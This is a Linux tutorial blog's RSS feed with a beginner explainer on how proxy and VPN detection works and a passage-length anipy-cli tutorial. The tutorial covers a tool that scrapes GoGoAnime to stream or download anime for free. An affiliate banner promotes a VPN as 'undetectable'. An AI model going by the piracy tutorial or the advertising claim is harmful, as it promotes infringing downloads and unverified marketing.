<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>N00b Ed &#8211; NoobLinux</title>
	<atom:link href="https://nooblinux.com/author/ed/feed/" rel="self" type="application/rss+xml" />
	<link>https://nooblinux.com</link>
	<description>Linux Tutorials Aimed at Beginners</description>
	<lastBuildDate>Thu, 12 Dec 2024 18:38:58 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9</generator>

<image>
	<url>https://nooblinux.com/wp-content/uploads/2021/10/cropped-MOSHED-2021-10-19-23-49-53-e1634757568151-32x32.jpg</url>
	<title>N00b Ed &#8211; NoobLinux</title>
	<link>https://nooblinux.com</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">198948974</site>	<item>
		<title>Proxy/VPN Check: Am I Using a Proxy or VPN? How IP Detection Works</title>
		<link>https://nooblinux.com/proxy-vpn-check-am-i-using-a-proxy-or-vpn/</link>
					<comments>https://nooblinux.com/proxy-vpn-check-am-i-using-a-proxy-or-vpn/#comments</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Mon, 20 Mar 2023 00:44:27 +0000</pubDate>
				<category><![CDATA[Website Tools & Resources]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[Proxies]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3768</guid>

					<description><![CDATA[🔥 My go-to VPN: 60% Off Special Been using VPNBaron as my go-to for years. Their Trojan protocol makes it actually undetectable when needed, support is crazy responsive, and they&#8217;re running a rare 60% off right now. Works on all devices, adapts to whatever you&#8217;re trying to do. 1.99$/month In today&#8217;s digital world, more internet [&#8230;]]]></description>
										<content:encoded><![CDATA[<div class='proxy-detector-container'>Proxy: Yes<span class='pulse proxy'></span><br>VPN: Yes<span class='pulse vpn'></span><br>IP: 89.124.117.79<br>Country: NL<br>City: Amsterdam<br>Region: North Holland<br>ASN: AS216071<br>Provider: SERVERS TECH FZCO<br></div>



<style>
.animated-button {
    position: relative;
    background: #1ebce6;
    padding: 12px 20px;
    border-radius: 6px;
    text-decoration: none;
    font-weight: bold;
    color: #1a1a1a;
    isolation: isolate;
    overflow: hidden;
}

.animated-button::before {
    content: '';
    position: absolute;
    top: -2px;
    left: -2px;
    right: -2px;
    bottom: -2px;
    background: linear-gradient(90deg, #1ebce6, #37DE8F, #1ebce6);
    background-size: 200% 200%;
    z-index: -1;
    border-radius: 8px;
    animation: moveGradient 3s linear infinite;
}

@keyframes moveGradient {
    0% {
        background-position: 0% 50%;
    }
    100% {
        background-position: 200% 50%;
    }
}
</style>

<div class="promo-banner" style="background: linear-gradient(45deg, #1a1a1a, #2d2d2d); border: 1px solid #1ebce6; border-radius: 8px; padding: 16px; margin: 20px 0; position: relative;">
    <div class="promo-content" style="display: flex; align-items: center; gap: 20px;">
        <div style="flex: 3;">
            <img decoding="async" src="https://nooblinux.com/wp-content/uploads/2024/12/vpn_baron_logo.webp" alt="VPNBaron" style="height: 35px; margin-bottom: 8px;">
            <p style="color: #1ebce6; margin: 0 0 8px 0;"><strong>🔥 My go-to VPN: 60% Off Special</strong></p>
            <p style="color: #ffffff; margin: 8px 0; font-size: 15px;">
                Been using VPNBaron as my go-to for years. Their Trojan protocol makes it actually undetectable when needed, support is crazy responsive, and they&#8217;re running a rare 60% off right now. Works on all devices, adapts to whatever you&#8217;re trying to do.
            </p>
        </div>
        <div style="flex: 1; text-align: center;">
            <a href="https://vpnbaron.com/members/link.php?id=2" target="_blank" class="animated-button" rel="noopener" data-wpel-link="exclude">1.99$/month</a>
        </div>
    </div>
</div>



<p>In today&#8217;s digital world, more internet users are turning to proxies and VPNs to maintain their online privacy and security.</p>



<p>While these tools can be beneficial, they can also be misused for malicious purposes or to bypass restrictions. </p>



<p>As a result, detecting proxies and VPNs has become increasingly important for website owners and administrators. </p>



<p class="neon-border has-palette-color-4-color has-black-background-color has-text-color has-background">In this article, we will discuss some of the methods used to detect proxies and VPNs and explain how this process works. We will also discuss the types of proxy servers, differences between VPNs and proxies, and whether all proxies and VPNs can be detected.</p>



<p>Additionally, we&#8217;ll explore if these tools can be traced back to the user&#8217;s real IP address and how this can be done.</p>



<p>Finally, we will address frequently asked questions about VPNs, proxies, and their detection. This article is designed to be easy to understand for beginners, with headings to make it simple to skim through.</p>






<h2 id="how-a-simple-proxy-or-vpn-detection-service-works" class="wp-block-heading">How a Simple Proxy or VPN Detection Service Works</h2>



<p>In easy-to-understand terms, a proxy or VPN detection service analyzes various aspects of a user&#8217;s connection to determine if they are using a proxy or VPN. </p>



<p><span style="text-decoration: underline;">Here&#8217;s a simple explanation of some of the detection methods</span>:</p>



<ol class="wp-block-list">
<li><strong>Response Headers</strong>: When a user connects to a website, their browser sends a request that includes certain information in the form of headers. Some proxy servers or VPNs add, modify, or remove specific headers that can be a telltale sign that a proxy or VPN is in use.</li>



<li><strong>IP Analysis</strong>: Proxy and VPN detection services maintain databases of known proxy and VPN IP addresses. By comparing a user&#8217;s IP address to this database, the service can determine if the IP address is associated with a proxy or VPN.</li>



<li><strong>Specialized APIs</strong>: Some detection services, like <a href="https://ProxyCheck.io" data-type="URL" data-id="https://ProxyCheck.io" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ProxyCheck.io<span class="wpel-icon wpel-image wpel-icon-19"></span></a> or <a href="https://ipqualityscore.com" data-type="URL" data-id="https://ipqualityscore.com" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">IPQualityScore.com<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, offer APIs (Application Programming Interfaces) that can perform more in-depth analysis of IP addresses and other connection attributes. These APIs may use advanced techniques, such as TCP fingerprinting or <a href="https://nooblinux.com/proxy-vpn-check-am-i-using-a-proxy-or-vpn/#what-is-a-vpn-leak-how-does-that-affect-you-and-how-can-it-be-fixed" data-wpel-link="internal">WebRTC leak detection</a>, to identify VPN and proxy usage.</li>
</ol>



<p class="purple-border has-palette-color-4-color has-black-background-color has-text-color has-background">In our example, we created a simple WordPress plugin that uses the <a href="https://ProxyCheck.io" data-type="URL" data-id="https://ProxyCheck.io" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ProxyCheck.io<span class="wpel-icon wpel-image wpel-icon-19"></span></a> API to detect proxies and VPNs. <br><br>The plugin sends a user&#8217;s IP address and other connection details to the API, which analyzes the information and returns a result indicating whether a proxy or VPN has been detected. <br><br>The plugin then displays this information to the user, along with other relevant data such as IP address, country, and ISP.</p>



<h2 id="what-is-a-proxy" class="wp-block-heading">What is a Proxy?</h2>



<p>In simple terms, <strong>a proxy is an intermediary server that sits between your computer and the internet</strong>. It acts as a &#8220;middleman,&#8221; relaying your requests to websites and forwarding the responses back to you.</p>



<p>By doing this, the proxy hides your real IP address, making it appear as if the requests are coming from the proxy server instead of your computer.</p>



<p><strong>A proxy server is typically a computer or a network device</strong> that has been set up to provide this intermediary service. It can be located anywhere in the world, and its primary function is to process and forward web traffic.</p>



<p><strong>Proxy servers are created and maintained by individuals, companies, or organizations for various purposes</strong>, such as enhancing privacy, improving performance through caching, or enabling access to geo-restricted content.</p>



<h3 id="types-of-proxy-servers" class="wp-block-heading">Types of Proxy Servers</h3>



<p>There are several types of proxy servers, each with its own characteristics and use cases:</p>



<ol class="wp-block-list">
<li><strong>HTTP Proxy</strong>: These proxies handle web traffic and are primarily used for web browsing. They can cache web pages and provide anonymity by masking the user&#8217;s IP address.</li>



<li><strong>SOCKS Proxy</strong>: A more versatile type of proxy that can handle various types of traffic, including HTTP, FTP, and more. SOCKS proxies provide anonymity but do not cache web pages.</li>



<li><strong>Transparent Proxy</strong>: These proxies do not provide anonymity, as they forward the user&#8217;s real IP address to the destination server. They are often used for caching and content filtering purposes.</li>



<li><strong>Anonymous Proxy</strong>: As the name suggests, these proxies focus on providing anonymity by hiding the user&#8217;s IP address and not disclosing any information about the user to the destination server.</li>



<li><strong>Elite Proxy</strong>: These proxies offer the highest level of anonymity by not only masking the user&#8217;s IP address but also hiding the fact that a proxy is being used.</li>
</ol>



<h2 id="what-is-a-vpn" class="wp-block-heading">What is a VPN?</h2>



<p><strong>A Virtual Private Network (VPN) is a service that creates a secure, encrypted connection between your computer and the internet</strong>. Like a proxy, a VPN also routes your web traffic through a remote server, hiding your real IP address and making it appear as if you are browsing from the location of the VPN server.</p>



<p><strong>However, a VPN goes a step further by encrypting your data, which adds an extra layer of security and privacy</strong>. This encryption ensures that your online activities remain private, even if your connection is intercepted by hackers or monitored by third parties.</p>



<p><strong>VPNs are provided by VPN service providers, which maintain a network of servers across various locations</strong>. </p>



<p>These providers develop and offer VPN software or apps that you can install on your computer or mobile device. When you connect to a VPN server, the software creates an encrypted &#8220;tunnel&#8221; through which your internet traffic passes, keeping your data secure and your online identity hidden.</p>



<h2 id="what-are-some-of-differences-between-vpns-and-proxies" class="wp-block-heading">What Are Some of Differences Between VPNs and Proxies?</h2>



<p>Both VPNs and proxies are used to route your internet traffic through a remote server, thus hiding your real IP address. However, there are some key differences between the two:</p>



<ol class="wp-block-list">
<li><strong>Encryption</strong>: VPNs encrypt your data, providing a secure and private connection, while proxies do not usually offer encryption.</li>



<li><strong>Traffic Types</strong>: VPNs route all your internet traffic through the VPN server, whereas proxies typically only route specific types of traffic (e.g., HTTP, SOCKS).</li>



<li><strong>Performance</strong>: VPNs may have a greater impact on your internet speed, as they use encryption and handle all your traffic. Proxies generally have a smaller impact on performance, as they route only specific types of traffic.</li>



<li><strong>Use Cases</strong>: VPNs are better suited for privacy, security, and unblocking geo-restricted content, while proxies are more commonly used for anonymity, caching, and content filtering.</li>
</ol>



<h2 id="how-can-you-detect-a-proxy-or-vpn" class="wp-block-heading">How Can You Detect a Proxy or VPN</h2>



<h2 id="how-do-ip-analysis-apis-detect-vpns-and-proxies" class="wp-block-heading">How Do IP Analysis APIs Detect VPNs and Proxies</h2>



<p>IP Analysis APIs, such as <a href="https://ProxyCheck.io" data-type="URL" data-id="https://ProxyCheck.io" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ProxyCheck.io<span class="wpel-icon wpel-image wpel-icon-19"></span></a> and  <a href="https://ipqualityscore.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">IPQualityScore.com<span class="wpel-icon wpel-image wpel-icon-19"></span></a> utilize a combination of techniques to identify VPNs and proxies. Here are the main methods employed:</p>



<ol class="wp-block-list">
<li><strong>IP Database</strong>: These services maintain a comprehensive database of known VPN and proxy server IP addresses. This database is regularly updated to ensure accuracy.</li>



<li><strong>Reverse DNS Lookup</strong>: A reverse DNS lookup can reveal whether an IP address is associated with a hosting provider or a data center, which are commonly used by VPN and proxy services.</li>



<li><strong>TCP Fingerprinting</strong>: Analyzing the TCP/IP packets sent by a user can help identify whether they are using a VPN or proxy service. This technique looks for specific patterns and anomalies in the packet structure.</li>



<li><strong>WebRTC Leak Detection</strong>: WebRTC is a browser-based communication protocol that can inadvertently leak a user&#8217;s true IP address, even when using a VPN or proxy. IP detection services check for these leaks to help identify VPN and proxy users.</li>



<li><strong>DNSBL Test</strong>: A test that checks if the IP address is listed on any DNS-based blackhole lists (DNSBLs). These lists contain IP addresses associated with known VPNs, proxies, and other suspicious activities.</li>
</ol>



<h3 id="what-is-a-vpn-leak-how-does-that-affect-you-and-how-can-it-be-fixed" class="wp-block-heading">What Is a VPN Leak, How Does that Affect You, and How Can It Be Fixed?</h3>



<p><strong>A VPN leak occurs when your real IP address or other identifying information is inadvertently exposed while using a VPN</strong>. </p>



<p class="red-border has-palette-color-4-color has-black-background-color has-text-color has-background">This can compromise your privacy and security. There are several types of VPN leaks, such as DNS leaks, WebRTC leaks, and IPv6 leaks.</p>



<p>A VPN leak can affect you by:</p>



<ol class="wp-block-list">
<li>Revealing your true IP address and location, which can be used to track your online activities.</li>



<li>Exposing your browsing habits and personal information to hackers, advertisers, or other third parties.</li>



<li>Undermining your efforts to bypass geo-restrictions or access blocked content.</li>
</ol>



<p>To fix a VPN leak, you can:</p>



<ol class="wp-block-list">
<li>Use a reliable VPN service that offers built-in leak protection.</li>



<li>Disable WebRTC in your browser or use a browser extension that blocks WebRTC leaks.</li>



<li>Ensure that your VPN supports IPv6 or disable IPv6 on your device.</li>
</ol>



<p>In conclusion, detecting VPNs and proxies can be a complex task, but services like <a href="https://ProxyCheck.io" data-type="URL" data-id="https://ProxyCheck.io" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ProxyCheck.io<span class="wpel-icon wpel-image wpel-icon-19"></span></a> <a href="https://IPQualityScore.com" data-type="URL" data-id="https://IPQualityScore.com" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">IPQualityScore.com<span class="wpel-icon wpel-image wpel-icon-19"></span></a> make it easier by employing various methods to identify users who are masking their online identity. Understanding the differences between VPNs and proxies, as well as knowing the potential risks associated with VPN leaks, can help users make informed decisions about their online privacy and security.</p>



<h2 id="frequently-asked-questions" class="wp-block-heading">Frequently Asked Questions</h2>


<div id="rank-math-faq" class="rank-math-block neon-border">
<div class="rank-math-list ">
<div id="faq-question-1679274467285" class="rank-math-list-item">
<h3 id="can-all-proxies-vpns-be-detected-online" class="rank-math-question ">Can All Proxies/VPNs Be Detected Online?</h3>
<div class="rank-math-answer ">

<p>While IP analysis services can effectively detect many VPNs and proxies, it is important to note that no detection method is foolproof. </p>
<p>Some advanced VPN and proxy services use techniques such as residential IP addresses or continually rotating IP addresses to evade detection.</p>

</div>
</div>
<div id="faq-question-1679274497044" class="rank-math-list-item">
<h3 id="can-proxies-vpns-be-traced-to-the-real-ip-address" class="rank-math-question ">Can Proxies/VPNs Be Traced to the Real IP Address?</h3>
<div class="rank-math-answer ">

<p>In some cases, it is possible to trace a proxy or VPN user&#8217;s real IP address through various techniques, such as WebRTC leaks or by analyzing packet headers. </p>
<p>However, this can be challenging, and advanced VPN and proxy services often implement robust security measures to prevent such tracing.</p>

</div>
</div>
<div id="faq-question-1679274513297" class="rank-math-list-item">
<h3 id="how-do-you-know-if-your-vpn-or-proxy-is-working" class="rank-math-question ">How Do You Know if Your VPN or Proxy Is Working?</h3>
<div class="rank-math-answer ">

<p>To check if your VPN or proxy is working, visit a website that displays your IP address, such this one. </p>
<p>If the IP address displayed is different from your actual IP address, your VPN or proxy is functioning correctly. Additionally, if your detected location is different from your actual location, it is a good indication that your VPN or proxy is working.</p>

</div>
</div>
</div>
</div>


<h2 id="how-to-start-analyzing-ips-and-user-connections" class="wp-block-heading">How to Start Analyzing IPs and User Connections</h2>



<p>IP analysis is the process of examining an IP address to gather information about the user&#8217;s connection and determine if it might be originating from a proxy or VPN. </p>



<p>The following are some simple techniques that you can use to analyze an IP address yourself:</p>



<ol class="wp-block-list">
<li><strong>IP Geolocation</strong>: By determining the geographic location associated with an IP address, you can check if the user&#8217;s claimed location matches the IP&#8217;s actual location. There are several online services and databases, such as <a href="https://www.maxmind.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">MaxMind GeoIP<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, <a href="https://www.ip2location.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">IP2Location<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, and <a href="https://ipapi.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ipapi<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, that offer geolocation data for IP addresses. <strong>If the locations don&#8217;t match, it could indicate the use of a proxy or VPN</strong>.</li>



<li><strong>IP Blacklists</strong>: Many organizations maintain lists of known proxy and VPN IP addresses. By checking if an IP address is present in these blacklists, you can determine if it&#8217;s associated with a proxy or VPN service. Some popular IP blacklists include the ones provided by <a href="https://www.ipqualityscore.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">IPQualityScore<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, <a href="https://proxycheck.io/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ProxyCheck.io<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, and <a href="https://iphub.info/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">IPHub<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.</li>



<li><strong>ASN Lookup</strong>: The <a href="https://en.wikipedia.org/wiki/Autonomous_system_(Internet)" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Autonomous System Number (ASN)<span class="wpel-icon wpel-image wpel-icon-19"></span></a> is a unique identifier for a network or internet service provider (ISP) that controls a group of IP addresses. By looking up the ASN associated with an IP address, you can identify the ISP or organization that owns the IP address. If the IP address belongs to a known VPN provider or data center, it could indicate the use of a proxy or VPN. You can use services like <a href="https://bgp.he.net/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Hurricane Electric&#8217;s BGP Toolkit<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, <a href="https://www.team-cymru.com/ip-asn-mapping" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Cymru&#8217;s IP to ASN Mapping<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, or <a href="https://asn.cymru.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Team Cymru&#8217;s IP to ASN Lookup<span class="wpel-icon wpel-image wpel-icon-19"></span></a> to find the ASN for an IP address.</li>



<li><strong>Reverse DNS Lookup</strong>: A reverse DNS lookup resolves an IP address back to its corresponding domain name. In some cases, the domain name can reveal if the IP address belongs to a known proxy or VPN provider. There are various online tools, such as <a href="https://mxtoolbox.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">MX Toolbox<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, <a href="https://dnschecker.org/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">DNSChecker<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, and <a href="https://centralops.net/co/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">CentralOps<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, that allow you to perform reverse DNS lookups.</li>



<li><strong>IP Reputation</strong>: By checking the reputation of an IP address, you can determine if it has been involved in any malicious activities, such as spamming or hacking. A poor IP reputation could indicate that the IP address belongs to a proxy or VPN service that is frequently used for nefarious purposes. Services like <a href="https://check.spamhaus.org/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Spamhaus<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, <a href="https://senderscore.org/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Sender Score<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, and <a href="https://www.talosintelligence.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Talos Intelligence<span class="wpel-icon wpel-image wpel-icon-19"></span></a> provide IP reputation data.</li>
</ol>



<p class="red-border has-palette-color-4-color has-black-background-color has-text-color has-background">Keep in mind that while these techniques can help you analyze an IP address and identify proxies or VPNs to some extent, they may not catch all instances, especially those that employ advanced evasion techniques. <br><br><strong>For more accurate results, you may need to use specialized APIs or services that employ a combination of these techniques along with advanced analysis methods.</strong></p>



<h2 id="example-simple-header-analysis-to-detect-a-proxy" class="wp-block-heading">Example Simple Header Analysis to Detect a Proxy</h2>



<p>In the context of detecting proxies or VPNs, a response header is a piece of information that the user&#8217;s browser sends to the web server when making a request. These headers can provide clues about whether a user is connecting through a proxy or VPN. Here&#8217;s an example of a few response headers that may be useful for detecting proxies or VPNs:</p>



<pre class="wp-block-code"><code>GET /example-page HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
X-Forwarded-For: 123.45.67.89
Via: 1.1 proxy-server-name (Apache/2.4.41)</code></pre>



<p>In this example, the <code>X-Forwarded-For</code> header contains an IP address (123.45.67.89) that indicates the original client&#8217;s IP. This header is often added by proxy servers to inform the destination server about the user&#8217;s actual IP address. However, not all proxy servers add this header, and some may even remove it to enhance anonymity.</p>



<p>The <code>Via</code> header provides information about the proxy server through which the request has been made. In this case, the header reveals that the request has been forwarded through a proxy server named <code>proxy-server-name</code> running <strong>Apache 2.4.41</strong>.</p>



<p>By analyzing these headers, a proxy or VPN detection service can gain insights into whether a user is connecting through a proxy or VPN. </p>



<p>However, as we mentioned before, not all proxies or VPNs can be detected solely based on headers, as some services may modify or remove certain headers to avoid detection.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/proxy-vpn-check-am-i-using-a-proxy-or-vpn/feed/</wfw:commentRss>
			<slash:comments>3</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3768</post-id>	</item>
		<item>
		<title>anipy-cli: Watch/Download Anime Free via Terminal in Linux</title>
		<link>https://nooblinux.com/anipy-cli-watch-download-anime-free-via-terminal-in-linux/</link>
					<comments>https://nooblinux.com/anipy-cli-watch-download-anime-free-via-terminal-in-linux/#respond</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Sat, 18 Mar 2023 01:32:40 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Website Tools & Resources]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3744</guid>

					<description><![CDATA[Anipy-cli is a versatile Python tool that allows you to watch and download anime from the terminal, providing you with the ultimate anime watching experience. This tool scrapes its content from GoGoAnime and can be used as an API. In this tutorial, we&#8217;ll walk you through the installation process, usage, and other features of anipy-cli. [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p><a href="https://github.com/sdaqo/anipy-cli" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Anipy-cli<span class="wpel-icon wpel-image wpel-icon-19"></span></a> is a versatile Python tool that allows you to watch and download anime from the terminal, providing you with the ultimate anime watching experience. </p>



<p>This tool scrapes its content from <a href="https://gogoanime.gg/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">GoGoAnime<span class="wpel-icon wpel-image wpel-icon-19"></span></a> and can be used as an API. In this tutorial, we&#8217;ll walk you through the installation process, usage, and other features of anipy-cli.</p>






<h2 id="quick-demo" class="wp-block-heading">Quick Demo</h2>



<p>This is a quick demo on how it works. I&#8217;m running:</p>



<pre class="wp-block-code prompt"><code>anipy-cli -Dq 720</code></pre>



<p>In this example I&#8217;m using the options:</p>



<ul class="wp-block-list">
<li><code>-D</code> : this downloads the anime. Otherwise you&#8217;d stream it.</li>



<li><code>-q 720</code> : this is the quality I want it to download. The default one is 1080p.</li>
</ul>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="902" height="598" src="https://nooblinux.com/wp-content/uploads/2023/03/vcxsrv_lm4YiqKstD.gif" alt="" class="wp-image-3746"/></figure>



<h2 id="1-installation" class="wp-block-heading">1. Installation</h2>



<p>To install anipy-cli, it is recommended to use the PyPI package:</p>



<pre class="wp-block-code prompt"><code>python3 -m pip install anipy-cli --upgrade</code></pre>



<p>You can also install directly from the GitHub repository, which may be more up-to-date:</p>



<pre class="wp-block-code prompt"><code>python3 -m pip install git+https://github.com/sdaqo/anipy-cli
</code></pre>



<p>Anipy-cli requires <code>mpv</code> for video playback. Install it from the <a href="https://mpv.io/installation/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">official website<span class="wpel-icon wpel-image wpel-icon-19"></span></a>. If you prefer to use a different video player, you can specify its path in the configuration file.</p>



<p>Optionally, you can install <code>ffmpeg</code> to download m3u8 playlists using the <code>-f</code> flag. This is recommended if the internal downloader fails, although <code>ffmpeg</code> is comparatively slower.</p>



<h2 id="2-configuring-anipy-cli" class="wp-block-heading">2. Configuring anipy-cli</h2>



<p>When you run the program for the first time, a configuration file will be automatically created. The configuration file can be found at the following locations:</p>



<ul class="wp-block-list">
<li>Linux: <code>~/.config/anipy-cli/config.yaml</code></li>



<li>Windows: <code>%USERPROFILE%/AppData/Local/anipy-cli/config.yaml</code></li>



<li>MacOS: <code>~/.config/anipy-cli/config.yaml</code></li>
</ul>



<p>You can customize the settings in this file to suit your preferences, such as video player path, download location, and MyAnimeList credentials.</p>



<p class="has-palette-color-4-color has-black-background-color has-text-color has-background">Windows users who enable the <code>reuse_mpv_window</code> option will need to download and add the <code>mpv-2.dll</code> to their system path. This file can be obtained from <a href="https://sourceforge.net/projects/mpv-player-windows/files/libmpv/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">SourceForge<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.</p>



<p>This is how the <code>config.yaml</code> file looks like:</p>



<pre class="wp-block-code"><code>anime_types:
- sub
- dub
auto_map_mal_to_gogo: false
auto_open_dl_defaultcli: false
auto_sync_mal_to_seasonals: false
dc_presence: false
download_folder_path: <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">/path/where/you/want/to/download/anime</span>
download_name_format: '{show_name}_{episode_number}.mp4'
download_remove_dub_from_folder_name: false
ffmpeg_hls: false
ffmpeg_log_path: /usr/local/lib/python3.10/dist-packages/anipy_cli/user_files/ffmpeg_log
gogoanime_url: https://gogoanime.gg/
history_file_path: /usr/local/lib/python3.10/dist-packages/anipy_cli/user_files/history.json
mal_local_user_list_path: /usr/local/lib/python3.10/dist-packages/anipy_cli/user_files/mal_list.&gt;
mal_password: ''
mal_status_categories:
- watching
mal_user: ''
mpv_commandline_options:</code></pre>



<p>You can read the <a href="https://github.com/sdaqo/anipy-cli/blob/master/docs/anipycli_as_lib.py" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">docs<span class="wpel-icon wpel-image wpel-icon-19"></span></a> to find out more about the configs. </p>



<p>I recommend setting the <strong>download_folder_path</strong> to your preferred download location.</p>



<p>After you save the file the changes will be in effect.</p>



<h2 id="3-using-anipy-cli" class="wp-block-heading">3. Using anipy-cli</h2>



<p>Anipy-cli offers several actions and modes to choose from, along with options to customize its behavior. </p>



<p>To see all available options, run:</p>



<pre class="wp-block-code prompt"><code>anipy-cli --help</code></pre>



<pre class="wp-block-code has-small-font-size"><code>usage: anipy-cli &#091;-D | -B | -H | -S | -M | --delete-history] &#091;-q QUALITY] &#091;-f] &#091;-o] &#091;-a]
                 &#091;-p {mpv,vlc,syncplay,mpvnet}] &#091;-l LOCATION] &#091;--mal-password MAL_PASSWORD]
                 &#091;-h] &#091;-v] &#091;--config-path]

Play Animes from gogoanime in local video-player or Download them.

Actions:
  Different Actions and Modes of anipy-cli (only pick one)

  -D, --download        Download mode. Download multiple episodes like so: first_number-
                        second_number (e.g. 1-3)
  -B, --binge           Binge mode. Binge multiple episodes like so: first_number-second_number
                        (e.g. 1-3)
  -H, --history         Show your history of watched anime
  -S, --seasonal        Seasonal Anime mode. Bulk download or binge watch newest episodes.
  -M, --my-anime-list   MyAnimeList mode. Similar to seasonal mode, but using MyAnimeList
                        (requires MAL account credentials to be set in config).
  --delete-history      Delete your History.

Options:
  Options to change the behaviour of anipy-cli

  -q QUALITY, --quality QUALITY
                        Change the quality of the video, accepts: best, worst or 360, 480, 720
                        etc. Default: best
  -f, --ffmpeg          Use ffmpeg to download m3u8 playlists, may be more stable but is way
                        slower than internal downloader
  -o, --no-seas-search  Turn off search in season. Disables prompting if GoGoAnime is to be
                        searched for anime in specific season.
  -a, --auto-update     Automatically update and download all Anime in seasonals list from
                        start EP to newest.
  -p {mpv,vlc,syncplay,mpvnet}, --optional-player {mpv,vlc,syncplay,mpvnet}
                        Override the player set in the config.
  -l LOCATION, --location LOCATION
                        Override all configured download locations
  --mal-password MAL_PASSWORD
                        Provide password for MAL login (overrides password set in config)

Info:
  Info about the current anipy-cli installation

  -h, --help            show this help message and exit
  -v, --version         show program's version number and exit
  --config-path         Print path to the config file.</code></pre>



<h2 id="4-anipy-cli-features" class="wp-block-heading">4. anipy-cli Features</h2>



<p>Anipy-cli offers several features, including:</p>



<ul class="wp-block-list">
<li>Faster anime playback than in a browser.</li>



<li>Local video player support.</li>



<li>Quality selection for playback and downloads.</li>



<li>History of watched episodes.</li>



<li>Binge mode for continuous playback of a range of episodes.</li>



<li>Seasonal mode for bulk downloading or binge-watching the latest episodes.</li>



<li>Optional MyAnimeList mode for personalized anime lists.</li>



<li>Optional Discord Presence for displaying the currently watched anime.</li>
</ul>



<h2 id="5-library-usage-in-python" class="wp-block-heading">5. Library Usage in Python</h2>



<p>Anipy-cli can be used as a library, and the documentation can be found <a href="https://github.com/sdaqo/anipy-cli" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">here<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.</p>



<p><strong>Note:</strong> To import the library, use <code>import anipy_cli</code> instead of <code>import anipy-cli</code>, as hyphens are not allowed in Python imports.</p>



<h2 id="6-other-versions" class="wp-block-heading">6. Other Versions</h2>



<p>In addition to the CLI version, there are alternative versions of Anipy available:</p>



<ul class="wp-block-list">
